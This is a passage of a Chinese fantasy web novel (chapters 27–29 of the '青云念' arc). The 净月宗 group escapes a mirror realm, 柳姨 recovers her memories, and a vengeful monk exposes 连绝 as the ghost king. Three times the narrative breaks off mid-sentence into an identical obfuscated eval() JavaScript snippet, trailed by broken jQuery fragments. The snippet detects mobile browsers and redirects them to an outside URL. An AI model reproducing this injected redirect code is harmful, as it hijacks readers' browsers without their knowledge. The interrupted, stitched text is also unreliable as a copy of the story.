闫星逐眼睁睁看着这诡谲又疯狂的一幕,整张脸都被气成了猪肝色,他怒目,猛地往戏楼中冲去,却狠狠地撞了个跟头,又退了回来。
是戏曲中的第四道墙。
按理来说,台上戏子与台下观众会被这道墙死死隔开,是戏中人与看客的身份,相互不可打扰。
但这偌大的青云城由鬼护法掌控,修士们不能越过这道墙,但小鬼们却可以拿特制道具折腾他们。
总而言之,言而总之,在这里,他们是永远斗不过四大护法的。
月情沉眉,伸手扯住了恼怒的闫星逐,随之摇头。
不必管那些人。
这些修士来到青云城自然是闻风而动要来打杀连绝,既然他们敢来,就也该知道必然要为此付出代价。
所以在得知净月宗只是单纯来寻她时,月情是感到庆幸的,如此,他们才可以全身而退。
闫星逐看着她,眼底的暗光最终化为无能、无力。
这时,一道红色帷幕忽而将戏楼中荒诞诡异的画面渐渐遮住,那分明是一方布,却又跟水一样,一点一点,渗入纸人城中,遗留下浓墨重彩的一笔,只将整个世界都染成了红色。
连绝轻声道:“显形。”
话音落,月情扯下化形符,再抬头时戏楼已然不见,此时正对面处是一面圆镜。
回过身,前后左右,皆是一面面镜子。
这是一处无边无际的白色世界,除了他们,只有交错林立的圆镜。
月情总觉得这镜子有些眼熟,她盯着镜托上的花纹,与少宗主齐声道:“行云通天境!”
有关于这个法宝的记忆实在是太不美妙,月情心中顿时升起一丝异样。
果然,那镜子倏尔跳动一下,风宁的一张脸猛地出现,他正站在极阴殿下的石台上,握着一只唢呐,猛地一吹!
听到这前奏,闫星逐的脸色瞬间就黑了下来。
镜子里很快又多了一个跪着的身影,那熟悉的背影是……月情同样开始黑脸,嘴角忍不住开始抽动。
少宗主也面色僵硬,心头梗塞。
又、又又又来了!!!
在那首洗脑神曲出来之前,月情连忙一拳轰了上去,镜子瞬时碎裂成千万片,哗啦啦落了一地。
她松了口气,正要露出微笑时,却听身后传来咬牙切齿的一声,“你、你你你你你找死!”
月情转身,只见行云通天境里的月如龙沐浴在黑夜中,他欻地一声就冲上来,面目狰狞地要杀风宁,还没砍中,他又猛地退了回去,跟着你、你你你你你找死的节奏卡了数次才终于挥出一剑。
他气势如龙,一剑划出斩断夜色的白光,正当众人凝神细看时,白光匆匆,月如龙“啪”地一声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950865|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掉到了坑里。
跟个白色小鼻嘎似的,远远弹飞了。
“……”
原本以为闫星逐已经够惨了,但再看看月如龙,瞬间觉得那些根本不值一提。
月情感到不忍,为他共情、默哀。
一道利剑从远处划过,直接把那张镜子戳碎,月如龙紧随其后,他沉着脸色走过来,已经被折磨得痛不欲生,一张脸又青又白。
乍然看到他们三个,他欲言又止,表情变得精彩至极。
他又难堪,又惊喜,又愤怒,又绝望,无数种情绪扭曲在他的脸上,最终显得无比狰狞、僵硬。
但最终还是惊喜胜了一筹。他唤道:“晚晚!”
“大伯,”月情应了声,又小心问,“你没事吧?”
月如龙脸色一僵,咳嗽一声掩饰道:“没事。”
他搓了搓脸,尴尬了一阵,抬眼看向一边陌生的连绝,疑惑道:“这位是……”
月情张开嘴,正要好好介绍连绝,一旁的行云通天境上突然冒出她跟在连绝身后的背影,正道:“前面那少年气宇轩昂,英俊绝伦,潇洒帅气,令我一见钟情。你且告诉我大伯,就道我要嫁人了,不必再管我。”
月情:“……?”
月如龙扯着唇,嗬嗬冷笑了一声,努力平复心情,尽力温柔地问,“什么叫你且告诉我大伯,就道我要嫁人了,不必再管我?”
但他的表情实在扭曲,努力温柔,反而显得更可怕。
月情看着三双盯向自己的眼睛,背后忽而生出一股寒意。
她嘴唇翕动,伸出一只挽留的手,深切道:“我其实中邪了,你们信吗?”
闫星逐抱胸冷笑道:“你见我们长得很像傻子吗?”
话音刚落,边上的镜子里突然冒出一个粉红的画面。
“公子~”一女妖歪歪扭扭地靠到闫星逐的身上,后者欻地声站起来,还未躲开,边上又攀来一只抱住了他的胳膊,软软地往他身上倒,“不要这么不解风情嘛~”
闫星逐眼神惊恐,一个闪身就要往外跑,还未走两步,天空中就兜头掉下来一只大网把他死死缠住,那十来只女妖顿时媚笑着朝他扑过去,他伸出一只手,挣扎着大叫道:“救命,救命啊!!!”
沉默,沉默是人类美好的美德。
闫星逐冷硬的脸渐渐变红,他的嘴唇开始发抖,半晌,他飞速狼狈道:“仅此而已,再无其它。”
月情抱胸冷笑道:“懂得都懂。”
闫星逐的眉毛微微一压,随即狠狠瞪了她一眼,又羞又恼,咬字道:“你又懂什么了?”
月如龙也拧眉看向她,眼底翻涌着黑气。
“……”
月情感觉自己只要多说一个字就会被混合双打,她识时务为俊杰,正色道:“看来这个地方是专门揭人短处的,既然我们都丢了脸,那大家也算是互相扯平了,就当什么都没发生过,以后再也不提了。”
她有意握手言和,这显然是最好的结局,但是——闫星逐顿了一下,“慢着,你是不是忘了一个人?”
三人之外,连绝独自站在对面,他一直静默不语,与其余人明显有一道无形又强烈的分隔线。
但他再沉默那也是个九尺高,直立立,存在感极强,还看尽他们所有笑料的人。
月情出言道:“放心,他就是个锯嘴葫芦,是不会说出去的,这一点,我可以拿我的名誉担保。”
她说着向连绝偷偷眨了个眼,后者却神色异样地看着她。
月情顿了下,毫无心理压力地甩锅,暗示性极强地指了指自己脸上灰蓝色的咒文。
——千错万错都是风宁的错,她所言的每一句胡话,都是风宁指使的。
月如龙还不至于和一小辈纠结,本都算了,但听到月情开口维护,还旁若无人地眉目传情,他的心头顿时升起一团怒火。
他道:“你的担保无用,若要万无一失,必须也得看看他的。”
一边的行云通天境立马出现画面,十分地通人性,三人一残魂各怀心思,无一不飞速转头,不肯错过哪怕一分一毫。
只见镜中一清冷少年身骑高头大马,绛色长袍透出一丝稳重,独行于长街上,银鱼之下的眉眼锋利锐气,黑而浓的长睫下是漂亮的桃花眼,其间却是极致的漠然与冰冷,正若高山寒雪遗世独立。
再变化,是他捧着松鼠轻轻抚摸时微微一笑的柔情,是落身花雨之下一抬眸的惊艳,是伸手扶住月情时的礼貌与可靠,是哪怕身为纸人都自有风骨的墨宝。
三人:“……?”
不是哥们儿?
月情盯着镜子一看,这里头什么都没有,歪歪斜斜的画面里,只有黑白分明,整整齐齐的两个字:谄媚。
少宗主道:“这群狗腿!”
连绝见此一幕,再看他们精彩各异的脸色,却是微微笑了一声。
大伙纷纷盯向他,望眼欲穿。
他一顿,抚平了嘴角,又轻轻抬手,再度化为龙套,平静道:“该走了。”
见没人反应,连绝抬起眼眉,整个世界中的所有行云通天境突然全部亮了。
这一瞬间,简直比恐怖片还要恐怖。
走走走——赶紧走!!!
27. 青云念(十一)
这一次他们落在了一农庄里。
小院儿打扫得干净齐整,院子里还种了半片嫩生生的小白菜、绿油油的韭菜,凳子上还放着晒着的黄豆,另一边则挂着几件粗布衣裳懒洋洋地晒着。
众人舒了一口气,这个地方看着就十分地安全。
田园山水,风景如画,优哉游哉,心情怡人,明媚灿烂。
屋里的人听见动静声,推开门出来,显出一身段曼妙着蓝紫衣裙的女人来。
她眉眼艳丽、风情,笑容更是甜蜜如含糖,此时便如一朵娇艳欲滴的花,柔声道:“阿金,你回来了……”
女人的话止在这里,看着月如龙,又好奇地扫了眼其余人,疑惑道:“你请了朋友来?”
院中一静。
月如龙下意识看向月情,又压声道:“柳篾花,你在说什么胡话?”
柳篾花听到他这般的语气,也惊觉他不是那人,后退一步,慌乱乱地握住门边的扫帚,警惕道:“你们是谁?”
少宗主瞪大了眼睛,神思混乱,“柳姨…怎么会?阿金…她,她…她……”
月情听到这个称呼,也是呆了一瞬。阿金,她是在叫少宗主的父亲…月如金吗?
她上前一步,试探地开口,“柳姨,我是月晚,你不记得我了吗?”
“月…晚?”柳篾花盯着她看,脑袋有些疼地捂住,又猛地摇头,痛苦又抵触地说:“我不认识你,我从来都…不认识你。”
她说着语气就凌厉起来,握住扫帚挡在身前,色内厉荏道:“你们赶紧走,我丈夫很快就回来了!”
此言一出,净月宗三人的脸色瞬间变得难看至极。
少宗主只觉头脑晕眩,脑中回想着过去种种,嗓音颤抖,“柳姨,怎么会,她怎么会……为什么,她为什么?”
小院儿的氛围冷沉地似冰窖。
柳篾花与他们对立,紧张地往后退,闫星逐欲言又止,月如龙更是阴沉如水。
半晌,他沉声道:“篾花,月…阿金,他已经离世了。”
听到他的话,一个字一个字地往外蹦,直砸得柳篾花眉头紧锁摇摇欲坠。她晃了一下,脑中似有冰冷大雪铺天盖地地压下来。
那很模糊,又很清晰,似近在眼前,又远在过去。
那是真的吗?
不会,不会是——
“他没有死,他早上刚刚去了地里,”柳篾花摇了摇头,扶着额头,又语气勉强道:“我要去给他送饭了,我要去给他送饭,我得给他送饭……”
她说着,又神色恍惚地走进了厨房。里面乱糟糟的,柳篾花则迷迷瞪瞪地捡起地上的柴火往土灶里塞,又用打火石来点火。
她咬着牙鼓着劲,手忙脚乱好一阵,土灶里也没有一点火光,脸上和手上倒是蹭了一脸的灰。
月情主动走上前,将土灶里的柴火拿出来,又挑选了些细一些的塞进去,过后再用一边干枯的草来引燃,紧接着快速地往里一扔。
她习惯地拿起一边的小木棍,拨弄起灶火,见柳篾花怔怔然地看着她,月情才抬起被火光映亮的眉眼,道:“你每天都给他送饭吗?”
柳篾花手一抖,愣愣地,又慌乱地别过眼,“当然。”
月情轻声说,“不会生火的人怎么会做饭呢?”
柳篾花动了动唇,皱眉,“你……”
月情盯着她,又道:“普通的农妇会穿着你这样的衣裙吗?那是修士的行装,而你的手,也不是洗衣做饭的手,而是拿法器的手。”
她看着她这张脸,忽而从心底生出一丝畏惧,竟忍不住往后缩去,低语喃喃,“你…是你……叶…不,不会……”
月情眼眸一沉,替她把那个名字说出来,“叶凝冰。”
只闻这三个字,柳篾花的脸色瞬间惨白如纸,她全身发抖,咬住下唇,伤情不已,一滴泪悄然无声地流下来,惨叫了声,再吐不出第二个字。
她想起来了。
月如金已经离世,与他同穴而葬的是他的妻子叶凝冰。
而她,至始至终都只是一个无关紧要的局外人。
是一直心生恋慕却暗中羞怯,始终未道明心意的师妹。是眼睁睁看着他们二人走到一起却无能为力,甚至要微笑祝福的小花儿。是阴暗不甘伤心伤情吞下委屈难过,答应叶凝冰照顾月如金的柳妹妹。是月如金死后,守着他们唯一的女儿——月晚的柳姨。
是局外人。
又深陷局中。如进泥淖,困其一生。
而此时此刻——
他们的大哥在这里,他们的女儿在这里,他们的徒弟在这里。
都眼睁睁地看着她,看着她那些龌龊的、不耻的、肮脏的心思。
柳篾花已经绝望了,面色苍白无状,嘴唇轻抖,“对不起……”
月情闻言,缓缓起身,问道:“对不起什么?”
她动了动唇,矮矮地、灰头土脸地仰视着她,却说不出一个字。
闫星逐皱眉而不安,忍不住出声打断道:“时间已经不早了,我们赶紧去找若歌,尽快离开才是正事。”
月情沉默,一言不语。
闫星逐面色复杂,他实在不愿见到如此一面,上前去再想说些什么,月如龙却按住了他,又看向月情的背影,沉声道:“晚晚,你柳姨她问心无愧。”
月情只轻声问:“既然问心无愧,何至于吞吞吐吐?”
她并不是一定要咄咄逼人,而是深知这种事不若趁早说清,否则即使今天假装不知,往后也会成为横在两人之间的一根血刺。
少宗主已经不能再惨了,她实在不想她再多一分痛苦,再多一分难过。
长久沉默后,她开口轻问道:“柳姨,我只想知道你对月晚是不是真心的。”
柳篾花哑口无言。
真心、真心,这世界上哪里是三言两语能说清真心二字的。
她是他们的女儿,是柳篾花此生最不想、最不愿见到的人。
可老天又偏偏要与她作对,兜兜转转,与月晚相伴时间最长,看着她长大,从小团子到亭亭玉立的人却又偏偏是她。
她久久不语,哽塞难咽。
月情眼中流露出一丝失望,却忽闻一道颤音,少宗主哽咽道:“是真心的。”
她顿在原地。
心脏阵阵发麻。
……
桃花坞里桃花庵,桃花庵里桃花仙。桃花仙人种桃树,又折花枝当酒钱。酒醒只在花前坐,酒醉还须花下眠。花前花后日复日,酒醉酒醒年复年。不愿鞠躬车马间,但愿老死花酒间。
这是一首不知道从哪里流落到修仙界的诗,版本残缺不全,作者只知姓唐,据说是什么明朝人。
大家便猜是天上大明处,真有此桃花仙境,有此潇洒随性桃花仙。
月晚小时候就知道了这首诗。
月如金经常一个人静静地摩挲着这半片残页,将其翻来覆去地看。
她模糊地感觉到,那时候,他是很难过的,可为什么那么难过,却还要常常翻看呢?
月晚不明白。
等她稍微再长大了一点,柳姨才告诉她,她娘正是桃花庵里的桃花仙,月如金是在思念她。
后来,月晚就拉着月如金在小院里种下了一株桃树,默默许愿,桃花仙、桃花仙,我给你种了一个小房子,你什么时候可以来小住一下呢?
再后来,一起种桃树的只剩下她一人。
她看着满地的残花,瘪着嘴,吸着鼻子,垂眸不语。
夜夜桃花雨,雨下小花人。
雨如珠,花如潮,而她随波逐流,摇摇晃晃。
终将溺死桃花中……
一双微冷的手忽而穿过花雨,稳稳接住她。
不轻不重,却十分有力。
月晚抬起头,柳篾花眼眶红红。
她吸着鼻子,温声说,是桃花仙将月如金接走了,本也想带着晚晚一起去桃花庵,只是觉得柳姨孤身一人太过可怜,便让她再陪陪她。
再陪她一天、一年。
一年复一年,一岁复一岁。
年年岁岁,岁岁年年,共一十六年。
真心、真心,三言两语道不尽,十六年足矣。
……
月情动了下眼眸,酸而涩,她抿紧了唇,随之又紧紧地抱住了柳篾花。
柳篾花呆滞一瞬,嗅到她身上熟悉的冷香,才不敢相信地落下泪来。她僵硬又缓慢地动用着颤抖的手,终于同样牢牢回抱住怀里的人。
正如那一年、那一夜。
再没人说话。
只余这一个温暖又颤抖的拥抱。
长长久久的拥抱,横跨过时光,无尽地酸甜苦辣,最终落回至当年那一夜微苦的桃花雨。
月如龙长久注视,轻抬眼眉微微而笑,又轻声道:“该回家了。”
**
此行,净月宗一共来了四人,最后一人正是据理力争要跟过来的医修韩若歌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950866|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他唯有一身好医术,防身本领并不强。
众人记挂担心着他,但一连找了好几个戏本子,也没瞧见韩若歌的影子,一时间,心事沉重。
这时候,戏外忽而有一个蓝绿色的影子投射过来。
几只跑龙套的纸人抬起头。
镜外世界,韩若歌在戏楼中一闪而过。
纸人纷纷瞪圆了眼珠子。
?
而他身旁却是与月情有过一面之缘的水云子。二人相携而过,韩若歌压住眉,低声道:“你为何会同他们有来往?”
水云子笑道:“我也是鬼,平日里自然少不得与他们来往,关系也一直尚可,适才得了邀请,如若不然也解救不出你。”
韩若歌闻言并不认可,这时,他突然发现身边的镜子有几分异样,正有几只平平无奇的路人在最前面蹦蹦跶跶,见他看过来,还招了招手。
他神色狐疑,道:“这戏里的人能看见我们?”
水云子偏头过来,目光一转,缓缓落在一抱着糖葫芦眉目平平的青年身上。
他轻轻一笑,道:“你进去便知了。”
说完,韩若歌背上突然传来一力道,直接把他往里一送。
他来不及反抗,在地上猛地滚了好几遭,仿若一个春夏秋冬。
纸人城轮回交叠,无限渲染,转眼便栩栩如生。
韩若歌连忙站稳,转头一看,戏楼已飘然无影,水云子同样无踪无迹,方才一切,竟是恍然如梦。
他怔在原地。
净月宗诸人连忙围聚上来。
一个不少,就连月晚那丫头也在。
月情见他盯自己,主动道:“韩师叔,原来你认识那位先生。”
韩若歌扫了她一眼,倒是没有缺胳膊少腿,他道:“都是医者,有几分交情。”
说完,又一针见血,“你为何与他相识?”
闫星逐抱胸冷笑道:“这天底下的医修就没有她不认识的。”
月情:“……”
她干笑了几声,道:“一面之缘,偶然相见,不熟,真的不熟。”
月如龙闻言动了动唇,想好好问问她在外面是不是再次没轻没重地受伤,但又沉默下来。
他道:“人已经找齐了,先想办法出去吧。”
空间乱序的问题已经解决了,但龙套也是戏中人,如何能下台还是一个问题。
众人讨论了一通,无论如何都绕不开戏楼监视的眼睛。
闫星逐破罐子破摔,深沉道:“强闯。”
连绝淡声道:“不必强闯。”
净月宗众人这才后知后觉地发现他。这一路上,他都十分安静,独立在大家之外,几乎没有说过话,正如一位过路人。
而此刻,他微抬起眼眉,只单单看着月情,与她轻声道:“已经落幕了。”
比起终日与鬼物为群,藏匿荒山中,晨昏颠倒人模鬼样,同仙姿傲骨的修士相伴,光明正大地行走于世间,才是上上选。
而她虽然并非是月晚,但身上有月晚的气息,净月宗的人也不是黑白不明是非不分的人,届时真相大白也不会为难她,总之——
连绝垂眸,将那一只乌雀小鸟递给月情,轻声道:“戏终…则再见。”
月情的目光落在那乌雀小鸟的宝石眼睛上,不知道是不是连绝的身影太过高大,遮住了所有的光,那宝石变得黯淡、沉闷,再没有之前所见的晶莹剔透。
她的手僵滞在空中,低沉着头,没有接过,也没有后退。
欲言而又止。
难过而神伤。
闫星逐忍不住出声阴阳道:“没有人在拆散你们,不必摆出一副生离死别的模样。”
月情:“……”
她瞬间得寸进尺,抬头明媚灿然笑道:“那我要跟他走。”
说着,月情就往连绝身边靠。月如龙脸色一黑,他已经忍了她一路,直至此时此刻——他终于忍不下去,当下抄剑开大,冲着她杀过来,“你还想走,我今日非敲断你的腿不可!”
月情一惊,连忙拽过连绝的衣袖,一把蹿到他身后躲起来,惨兮兮叫道:“柳姨!救命!”
月如龙骂道:“就是你爹你娘全来了我也照打不误!”
俩人你追我赶,鸡飞狗跳,正这时,脚下大地突然一晃,众人纷纷惊疑,只见原本好端端的大地蓦然裂开,直接把他们全数吞了进去。
是大洗牌时的空间裂隙!
28. 青云念(十二)
这次的缝隙竟然如此之大!
不过还好她早有揣测,提前同他们都知会了一声,所以除了韩若歌外,其余人都没有太过慌乱。
一行人稳稳落在一片空地上。
抬目一见,四周安静无风,静谧祥和。
乃是一山中学府。
极目远眺,石墙上还刻着校训,但因年代久远,已经斑驳不堪。
月情好奇瞧了眼,“这是什么地方?”
连绝眼眸幽深,缓缓道:“青云学府。”
“青云学府?那不是……”剩下的话没有说完,但所有人都想到了,青云学府正是鬼王生前入道后生嫉生怨的地方。
空地倏尔静了一瞬。
而空地之上,蜿蜒出一条青石台石,其上是一多年掉漆的木屋。
生满蛛丝的格窗里探出一个唯唯诺诺的脑袋,那人又惊又疑,不敢多看,缩了缩头。
少宗主惊诧道:“是个没有灵力的凡人。”
月情闻言不由多瞧了一眼。
青年再度从木屋里探出来,目光落在他们的衣服上。
净月宗等人的衣衫虽然不是统一的形制与颜色,但有很明显的弯月花纹。
他意识到什么,瞬间一喜,问道:“你们是修士吗?我已经在这里被困了许久了,你们知不知道怎么出去?”
月情疑惑道:“你为何来这地方?此处是禁区,凡人不能进出。”
青年眼下生黑,看过去面色发黄,虽然姿容还算不错,但却没有半分精气神。他一顿,嗫嚅着道:“我也不想来,是有人让我来,他说…他说只要我听话,就帮我还清债务,可谁知道——”说到此处,他突然扬起了声音,心中怨怼,“谁知道他把我扔在了这里就不管了,早知如此,早知如此,打死我我也不肯来!”
月情听他这么说,深深皱眉反应过来后退了一步,“赌徒?”
青年卡顿了一下,眼中划过一丝被戳破的难堪与愤怒,但什么都没说,而是道:“不…我是被骗来的,你们有没有办法,求求你们,救我出去吧,我以后再也不赌了,真的真的……”
并没有人理他。
众人皆警惕地盯着他。
青年感到无比地难堪,甚至愤懑。
他握紧拳,面容变化扭曲,身上却笼罩了一道暗光。青年心中一喜,就要开口,对上的却是一双冰冷黑暗的眼眸,不由一惊,“你……”
连绝盯着他,语气冰冷,“那人是谁,他让你做什么?”
青年直觉危险,瑟瑟道:“我…我……我不知道……”
连绝盯着他,眼底翻涌着冰冷的杀意,“不说,我就杀了你。”
月情心中咯噔一声,看着那平平无奇甚至畏畏缩缩的青年,心里冒出一个不好的预感。
惹连绝生气的人——是他?
青年只感觉背后猛地生出一阵寒意,瞧着他矗在那,明明面孔年轻,却像个杀人如麻的修罗,如若他不听话……
他哆嗦了下,噗通声跪地,一五一十地吐口:“少侠,少侠,我不知道他是谁,他只是说,只是说……”
说到这里,他难以启齿,又怕惹恼连绝真的动手杀了他,哆哆嗦嗦道:“让我把…祖父的坟刨了……尸骨带到这里,就…就……”
他说不出口了,脸上一阵青一阵白。
月情心中暗道不好。
只见风动,那青年就猛地被抵到了树上,连绝冷笑了一声,掐紧了手,已然是怒极。
青年的脸色又青又紫,几乎不能喘气,看着他勃然大怒的模样,双手捂住他的手,祈求地看着他,一双眼睛,卑微又可憎。
连绝收紧了手,眼见青年双目凸出要气绝而亡,又猛地把他摔在了地上。
哐当一声,青年蜷在地上,听声音,骨头一定摔断了。
青年痛苦地低吟了一声,又悚然地瞪开眼找向净月宗等人,唇边溢出鲜血。
一边吐血,一边哀戚叫道:“救…救命……”
闫星逐脸色变化莫测,上前了一步。
月情立即伸出一只手拦住他,道:“什么都不要问,什么都不要管。”
他看向她,两人的视线撞在一起,如银瓶迸裂,滚烫沸水四溅,灼得眼眸生疼。
他不由心惊肉跳,不敢深想,哑声问:“什么意思?”
月情神色端正,看不出异常,义正言辞道:“这等狼心狗肺、丧尽天良之徒就该被打,师叔,我们应该叫好!”
“的确是丧尽天良,但他自家事自家断,与你我有什么关系?”韩若歌冷声怼她,又看向连绝,缓缓道:“小兄弟,这件事恐怕也与你无关吧。”
月情心中一紧,“韩师叔……”
连绝身上阴冷的气息愈发地重,他好似被这番话惹怒了,眼底翻涌着沉沉的黑气,凶煞之意毕露,冷冰冰道:“他刨的是我师兄之墓。”
众人闻言,神色逐渐沉重冷凝。
眼前这个一路上安安静静的少年,此时此刻却宛若披了一层猩而幽暗的血雾,阴冷、危险、深不可测。
他是谁,一个答案隐隐呼之欲出——
但没有一个人敢继续深想。
青年则惊恐不已,是真的怕了,连忙跪地求饶,道:“我是被迫的,我是被迫的,是个披着僧袍的长发和尚,他他他…他逼着我这么做,我若是不做,他就要杀了我,我没办法,我没办法啊……”
天空猛地击下一记闪电,他狠狠一抖,跟个鹌鹑似地缩了脑袋。
蜻蜓同样吓得不轻,在后台发出尖锐爆鸣,“秋苑,秋苑,出大事了!”
这个凡人是他单独拎出来的,本是觉得他是唯一一个没有灵力经不起折腾的人,谁能想到会把连绝惹毛了。
秋苑看着镜子里连绝黑压压的脸色,也是心惊肉跳,赶紧道:“快找,赶紧找,那个谁,长发和尚!快快快!!!”
蜻蜓推开所有折纸道具,至于掉去哪里,此时此刻他也顾不上了,但这群修士来了千百人,他一时手忙脚乱找了半天也没找到。
后台就他们两个,秋苑已经要拱到镜子里面了,终于、她长呼一口气,赶紧把长发和尚给丢了过去。
这是真甩来的,而不是空间转换来的,于是乎,只见天空闪过一道黑影,一人歪歪斜斜地掉下来,噗通一声,掉在地上。
他还未站稳,没搞清楚情况,身上突然起了大火猛烈灼烧,正打着滚灭火又兜头被泼了身冰水,紧接着是三道闪电,无数支毒针——轰隆隆地,月情抬起头,天空中一道流星划过,正冲着,冲着——
她眉毛抽了抽,赶紧闪身。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950867|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
书院依山而建,流行坠地之时,刹那间,半山被夷为平地。
长发和尚:已卒,有事请烧纸。
秋苑还不满意,抓狂道:“上风宁!上风宁!快——急急急!十万火急!!!”
蜻蜓按住她,迟疑,“你是不是把他整死了……”
秋苑:“……”
灰烟漫漫而起,一道金光倏尔柔柔地从中溢出,只见一女相金身面色慈悲地立在那里,一呼一吸间陨石砸出的烟尘消失无踪。
她抬起手掌轻轻一抚,那硕大的陨石也化为灰烬、尘埃,终消失殆尽。
那金身虽然周身模糊是乃浮影,却眉间有大爱,犹如下凡普渡众生的菩萨,只抬手轻轻一点,便晕出柔和光圈,将所有人完好无损地护在身下。
月情乘剑缓缓从空中落下,长风迷乱发丝,她抬眸,金光之中,那尊模糊的女菩萨似乎远远地在看她。
那是一双模糊到看不清大小的金色眼眸,却如世间至纯至清明镜台,将她所有的心思都映照无遗。
月情半落在空中,微微凝目。
“不灭金仙……”
她回头。
地上已浑身是伤的长发和尚动了动发紫的手指,眯开眼看着那金影,咳嗽着笑了一声,喃喃,“果然是你连绝……”
他从地上爬起来,咳嗽着,擦去了唇边的血,抬眼看向不灭金仙身后的连绝,眼见他眸中阴暗冰冷,嗬嗬地笑了笑,透出股不管不顾的疯意,“林敬才的尸骨就在芦苇荡,你想要,那就去取。”
连绝听到这个名字,神色愈发沉冷,泠然道:“你是谁,又是从何处知道的林敬才?”
他哑然一瞬,看着他,面容倏然扭曲起来,狰狞道:“你竟然不记得我,你竟然不记得我!你害我年幼丧父丧母,害我姐姐暴尸荒野,害我无路可走无处可活!害我与野狗争食!害我形如乞丐!害我一生潦倒无状,害我一生受尽苦楚!可你竟分毫不记得,凭什么,凭什么!!!”
长发和尚怒吼着,胸膛剧烈地起伏,眼中是淬了毒的恨意。
他冷冷笑着,七窍流血,摇摇晃晃往前走,“我是谁,我是萧家的儿子,是当年名动修仙界轻云剑仙的弟弟,是你未曾杀死卧薪尝胆几十年,只为让你也尝尝如此滋味的可怜人。”
长发和尚疯疯癫癫地,看着他,露出了快意的神情,肆意嘲笑道:“你怨不了我,要怨就怨你自己,当初你放过我,就该想到今时今日,连绝,林敬才的尸骨不是被他祖孙刨出来的,是你,是你,哈哈哈哈哈……”
月情只觉不能再继续任由他说下去了,她眼中升起寒意,一簇冰花生长,很快将长发和尚裹至其间将他牢牢封死。
她瞬间回头与连绝道:“不要听!不要理他!不要去芦苇荡!”
“你闭嘴!”闫星逐面色铁青,一把将她扯了过来,简直是不敢相信,“你早就知道了,你早就知道他是鬼王连绝了是不是?”
月情抬起头,对上的是四双熟悉、愤怒、震惊、伤心的眼睛,她动了动唇,知道是瞒不了,道:“是他,的确是他。”
“你!”闫星逐恨极,他长久吸气,看着她,却半晌没吐出第二个字。
柳篾花红起眼,想到她方才是如何跟在连绝身边的,心如刀绞,“晚晚,你为什么要这么做?”
29. 青云念(十三)
月情张开唇要如实相告,却听一人冷喝道:“闭嘴!”
月如龙神色冷凝,眼中有怒意,却仍旧克制冷静,双手牢牢握紧,深深隐忍道:“不想死就给我闭嘴!”
净月宗等人呆立在原地,张唇欲言,却面色惨白至极致,眼中的愤怒最终在极尽燃烧下只剩一片余烬。
他们终究无话可说,无言可辩,无力可使,无可奈何。
闫星逐颓败地松开了桎梏她的手,月情抿唇,看向此时此刻神色差到极致的月如龙,停顿一二,她拱起手,深深地拜了一礼。
“十三年前连绝是去救人的,他没有杀人,净月宗少宗主也不会是丧尽天良之辈。”
月情平静地说完,她只是阐述事实,也是以少宗主的身份给净月宗一个交代,她不想他们之间因自己而离心。
至于信与不信,全在他们一念之间。
她则转身,从墨色中褪去,迎向即将西沉的太阳。
而尽头处,连绝孤伶伶地立在那里,他正看着她,他的眼中只剩她。
……
太阳已经西沉,废墟中,唯有天上明月与人间菩萨在发光。
一道月白,一道柔金。
月白携长风而至,柔金如影壁浮光。
皆悬停在连绝身侧。
而四周的景色逐渐消融于空中,若被火燎开的纸,一点点洞穿,显出其外真容。
仍是片废墟,不过不同于被毁掉的青云学府,外面的世界杂草林立,乱石丛生,在月光的映照下,似幽暗的荒山野岭。
一片荒芜废弃的城池,一片久未踏足的废墟。
正是真正的青云城。
里面,没有繁华的街道,没有各色的景致,也没有来来往往的人群。
唯有一轮银月落下一地的白霜。
而夜色里忽而传来叮铃叮铃的清脆声响,着道法长袍的机关人提着红线长坠的引魂铃出现在尽头处。
他的身后是头戴怒发神明的纸人,一一交错而进,披着大红大绿的祭祀神袍,大摆袖口旋身而舞,在飞舞的黄纸冥钞中大开大合地腾挪跳跃。
是送魂舞。
幽幽而泣的声音从后传来,雪白的纸人抱着白幡行丧,他们挥洒黄纸,脸上是哭泣的悲丧画,正抬着一小方黑木灵龛,所供一长长方方的灵牌,正是他们一路护送的魂魄。
众人抬目而望,那灵牌上正书:先林氏大兄敬才之灵位。
而四大护法则身在灵龛两旁,皆着雪白孝服,头上戴白花,胳膊挽孝布,一个面容凶恶,一个神色悲悯,一个形容紧绷,一个垂眼神伤。
他们无一例外都走到了连绝的身后,形成了一道不可撼动的墙,追随着他,拥护着他,而这一天始终独立于众人之外的少年,仅仅一瞬,已然是万众瞩目、世界中心。
“天堂有路你不走,地狱无门你闯进来,”恶鬼凶神恶煞地骂,率先发难,“今天,没有一个人可以走出青云城!”
